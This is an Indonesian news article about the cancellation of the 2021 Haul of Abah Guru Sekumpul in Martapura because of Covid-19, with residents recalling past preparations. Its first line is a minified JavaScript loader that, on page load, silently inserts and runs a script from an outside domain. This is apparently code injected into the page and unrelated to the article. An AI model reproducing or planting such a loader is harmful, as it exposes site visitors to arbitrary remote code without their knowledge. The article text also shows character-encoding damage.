(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Haul Sekumpul Ditiadakan, Martapura Tak Lagi Berhias, Warga Teringat Layani Jemaah

KANALKALIMANTAN.COM, MARTAPURA – Haul ke-16 Alâ€™alimul Allamah Alâ€™arif Billah Syekh Muhammad Zaini bin Abdul Ghani atau Abah Guru Sekumpul jatuh pada tanggal 17 Februari 2021 (5 Rajab 1442 Hijriyah). Namun, pada tahun ini Haul Abah Guru Sekumpul ditiadakan alias tidak digelar di Musholla Ar Raudhah Sekumpul.

Kawasan sepanjang jalan Sekumpul Martapura, biasanya menjelang Haul Sekumpul, Kota Martapura hingga hampir seluruh kecamatan di Kabupaten Banjar selalu dipenuhi dengan umbul-umbul, tenda serta spanduk ucapan kepada para jamaah Haul Abah Guru Sekumpul. Semua itu tidak terlihat, pada tahun ini.

Seluruh jamaah dipastikan bersedih dan ikhlas Haul Sekumpul tidak dilaksanakan, dikarenakan pandemi Covid-19 yang masih mewabah.

Rissa, warga jalan Melati, Desa Bincau Muara, Kecamatan Martapura, mengaku, biasanya warga sebulan menjelang Haul Abah Guru Sekumpul sudah sibuk memasang lampu hias di sepanjang jalan Melati.

â€œSedih karena tahun ini Haul tidak dilaksanakan, kalau menjelang haul biasaya kami warga Desa Bincau Muara selalu memasang lampu hias di sepanjang jalan Melati, mulai dari Desa Tunggu Irang, sampai Desa Bincau Muara, itu sepanjang jalan terpasang lampu hias,â€ ucapnya, Kamis (4/1/2021).

Di tempat berbeda, Husen, warga Kelurahan Tanjung Rema Darat, Martapura, juga mengungkapkan perasaan yang sama. â€œPasti sangat sedih, karena Haul tahun ini tidak dilaksanakan, semoga saja haul tahun berikutnya dilaksanakan. Ada rasa kekangenan mempersiapkan semuanya, seperti mempersiapkan tenda, bendera, banner, serta melayani jamaah yang dari luar kota,â€ pungkasnya. (kanalkalimantan.com/wahyu)

Reporter: wahyu
Editor : bie